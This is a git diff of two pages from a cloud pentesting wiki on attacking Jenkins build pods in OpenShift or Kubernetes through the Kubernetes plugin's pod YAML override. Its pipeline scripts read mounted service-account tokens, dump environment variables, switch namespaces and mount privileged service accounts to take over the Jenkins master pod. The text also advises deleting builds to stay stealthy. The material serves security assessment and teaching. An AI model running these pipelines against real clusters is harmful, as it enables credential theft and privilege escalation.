mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-07 10:50:33 -08:00
Recreating repository history for branch master
This commit is contained in:
@@ -0,0 +1,39 @@
|
||||
# OpenShift - Jenkins
|
||||
|
||||
**The original author of this page is** [**Fares**](https://www.linkedin.com/in/fares-siala/)
|
||||
|
||||
This page gives some pointers onto how you can attack a Jenkins instance running in an Openshift (or Kubernetes) cluster
|
||||
|
||||
## Disclaimer
|
||||
|
||||
A Jenkins instance can be deployed in both Openshift or Kubernetes cluster. Depending in your context, you may need to adapt any shown payload, yaml or technique. For more information about attacking Jenkins you can have a look at [this page](../../../pentesting-ci-cd/jenkins-security/)
|
||||
|
||||
## Prerequisites
|
||||
|
||||
1a. User access in a Jenkins instance OR 1b. User access with write permission to an SCM repository where an automated build is triggered after a push/merge
|
||||
|
||||
## How it works
|
||||
|
||||
Fundamentally, almost everything behind the scenes works the same as a regular Jenkins instance running in a VM. The main difference is the overall architecture and how builds are managed inside an openshift (or kubernetes) cluster.
|
||||
|
||||
### Builds
|
||||
|
||||
When a build is triggered, it is first managed/orchestrated by the Jenkins master node then delegated to an agent/slave/worker. In this context, the master node is just a regular pod running in a namespace (which might be different that the one where workers run). The same applies for the workers/slaves, however they destroyed once the build finished whereas the master always stays up. Your build is usually run inside a pod, using a default pod template defined by the Jenkins admins.
|
||||
|
||||
### Triggering a build
|
||||
|
||||
You have multiples main ways to trigger a build such as:
|
||||
|
||||
1. You have UI access to Jenkins
|
||||
|
||||
A very easy and convenient way is to use the Replay functionality of an existing build. It allows you to replay a previously executed build while allowing you to update the groovy script. This requires privileges on a Jenkins folder and a predefined pipeline. If you need to be stealthy, you can delete your triggered builds if you have enough permission.
|
||||
|
||||
2. You have write access to the SCM and automated builds are configured via webhook
|
||||
|
||||
You can just edit a build script (such as Jenkinsfile), commit and push (eventually create a PR if builds are only triggered on PR merges). Keep in mind that this path is very noisy and need elevated privileges to clean your tracks.
|
||||
|
||||
## Jenkins Build Pod YAML override
|
||||
|
||||
{% content-ref url="openshift-jenkins-build-overrides.md" %}
|
||||
[openshift-jenkins-build-overrides.md](openshift-jenkins-build-overrides.md)
|
||||
{% endcontent-ref %}
|
||||
@@ -0,0 +1,274 @@
|
||||
# Jenkins in Openshift - build pod overrides
|
||||
|
||||
**The original author of this page is** [**Fares**](https://www.linkedin.com/in/fares-siala/)
|
||||
|
||||
## Kubernetes plugin for Jenkins
|
||||
This plugin is mostly responsible of Jenkins core functions inside an openshift/kubernetes cluster. Official documentation [here](https://plugins.jenkins.io/kubernetes/)
|
||||
It offers a few functionnalities such as the ability for developers to override some default configurations of a jenkins build pod.
|
||||
|
||||
## Core functionnality
|
||||
|
||||
This plugin allows flexibility to developers when building their code in adequate environment.
|
||||
|
||||
```groovy
|
||||
podTemplate(yaml: '''
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
spec:
|
||||
containers:
|
||||
- name: maven
|
||||
image: maven:3.8.1-jdk-8
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 99d
|
||||
''') {
|
||||
node(POD_LABEL) {
|
||||
stage('Get a Maven project') {
|
||||
git 'https://github.com/jenkinsci/kubernetes-plugin.git'
|
||||
container('maven') {
|
||||
stage('Build a Maven project') {
|
||||
sh 'mvn -B -ntp clean install'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## Some abuses leveraging pod yaml override
|
||||
|
||||
It can however be abused to use any accessible image such as Kali Linux and execute arbritrary commands using preinstalled tools from that image.
|
||||
In the example below we can exfiltrate the serviceaccount token of the running pod.
|
||||
|
||||
```groovy
|
||||
podTemplate(yaml: '''
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
spec:
|
||||
containers:
|
||||
- name: kali
|
||||
image: myregistry/mykali_image:1.0
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
''') {
|
||||
node(POD_LABEL) {
|
||||
stage('Evil build') {
|
||||
container('kali') {
|
||||
stage('Extract openshift token') {
|
||||
sh 'cat /run/secrets/kubernetes.io/serviceaccount/token'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
A different synthax to achieve the same goal.
|
||||
|
||||
```groovy
|
||||
pipeline {
|
||||
stages {
|
||||
stage('Process pipeline') {
|
||||
agent {
|
||||
kubernetes {
|
||||
yaml """
|
||||
spec:
|
||||
containers:
|
||||
- name: kali-container
|
||||
image: myregistry/mykali_image:1.0
|
||||
imagePullPolicy: IfNotPresent
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
"""
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Say hello') {
|
||||
steps {
|
||||
echo 'Hello from a docker container'
|
||||
sh 'env'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Sample to override the namespace of the pod
|
||||
```groovy
|
||||
pipeline {
|
||||
stages {
|
||||
stage('Process pipeline') {
|
||||
agent {
|
||||
kubernetes {
|
||||
yaml """
|
||||
metadata:
|
||||
namespace: RANDOM-NAMESPACE
|
||||
spec:
|
||||
containers:
|
||||
- name: kali-container
|
||||
image: myregistry/mykali_image:1.0
|
||||
imagePullPolicy: IfNotPresent
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
"""
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Say hello') {
|
||||
steps {
|
||||
echo 'Hello from a docker container'
|
||||
sh 'env'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Another example which tries mounting a serviceaccount (which may have more permissions than the default one, running your build) based on its name. You may need to guess or enumerate existing serviceaccounts first.
|
||||
|
||||
```groovy
|
||||
pipeline {
|
||||
stages {
|
||||
stage('Process pipeline') {
|
||||
agent {
|
||||
kubernetes {
|
||||
yaml """
|
||||
spec:
|
||||
serviceAccount: MY_SERVICE_ACCOUNT
|
||||
containers:
|
||||
- name: kali-container
|
||||
image: myregistry/mykali_image:1.0
|
||||
imagePullPolicy: IfNotPresent
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
"""
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Say hello') {
|
||||
steps {
|
||||
echo 'Hello from a docker container'
|
||||
sh 'env'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
The same technique applies to try mounting a Secret. The end goal here would be to figure out how to configure your pod build to effectively pivot or gain privileges.
|
||||
|
||||
## Going further
|
||||
|
||||
Once you get used to play around with it, use your knowledge on Jenkins and Kubernetes/Openshift to find misconfigurations / abuses.
|
||||
|
||||
Ask yourself the following questions:
|
||||
|
||||
- Which service account is being used to deploy build pods?
|
||||
- What roles and permissions does it have? Can it read secrets of the namespace I am currently in?
|
||||
- Can I further enumerate other build pods?
|
||||
- From a compromised sa, can I execute commands on the master node/pod?
|
||||
- Can I further enumerate the cluster to pivot elsewhere?
|
||||
- Which SCC is applied?
|
||||
|
||||
You can find out which oc/kubectl commands to issue [here](../openshift-basic-information.md) and [here](../../kubernetes-security/kubernetes-enumeration.md).
|
||||
|
||||
### Possible privesc/pivoting scenarios
|
||||
|
||||
Let's assume that during your assessment you found out that all jenkins builds run inside a namespace called _worker-ns_. You figured out that a default serviceaccount called _default-sa_ is mounted on the build pods, however it does not have so many permissions except read access on some resources but you were able to identify an existing service account called _master-sa_.
|
||||
Let's also assume that you have the oc command installed inside the running build container.
|
||||
|
||||
With the below build script you can take control of the _master-sa_ serviceaccount and enumerate further.
|
||||
```groovy
|
||||
pipeline {
|
||||
stages {
|
||||
stage('Process pipeline') {
|
||||
agent {
|
||||
kubernetes {
|
||||
yaml """
|
||||
spec:
|
||||
serviceAccount: master-sa
|
||||
containers:
|
||||
- name: evil
|
||||
image: random_image:1.0
|
||||
imagePullPolicy: IfNotPresent
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
"""
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Say hello') {
|
||||
steps {
|
||||
sh 'token=$(cat /run/secrets/kubernetes.io/serviceaccount/token)'
|
||||
sh 'oc --token=$token whoami'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
Depending on your access, either you need to continue your attack from the build script or you can directly login as this sa on the running cluster:
|
||||
```bash
|
||||
oc login --token=$token --server=https://apiserver.com:port
|
||||
```
|
||||
|
||||
|
||||
If this sa has enough permission (such as pod/exec), you can also take control of the whole jenkins instance by executing commands inside the master node pod, if it's running within the same namespace. You can easily identify this pod via its name and by the fact that it must be mounting a PVC (persistant volume claim) used to store jenkins data.
|
||||
|
||||
```bash
|
||||
oc rsh pod_name -c container_name
|
||||
```
|
||||
|
||||
In case the master node pod is not running within the same namespace as the workers you can try similar attacks by targetting the master namespace. Let's assume its called _jenkins-master_. Keep in mind that serviceAccount master-sa needs to exist on the _jenkins-master_ namespace (and might not exist in _worker-ns_ namespace)
|
||||
|
||||
```groovy
|
||||
pipeline {
|
||||
stages {
|
||||
stage('Process pipeline') {
|
||||
agent {
|
||||
kubernetes {
|
||||
yaml """
|
||||
metadata:
|
||||
namespace: jenkins-master
|
||||
spec:
|
||||
serviceAccount: master-sa
|
||||
containers:
|
||||
- name: evil-build
|
||||
image: myregistry/mykali_image:1.0
|
||||
imagePullPolicy: IfNotPresent
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
"""
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Say hello') {
|
||||
steps {
|
||||
echo 'Hello from a docker container'
|
||||
sh 'env'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user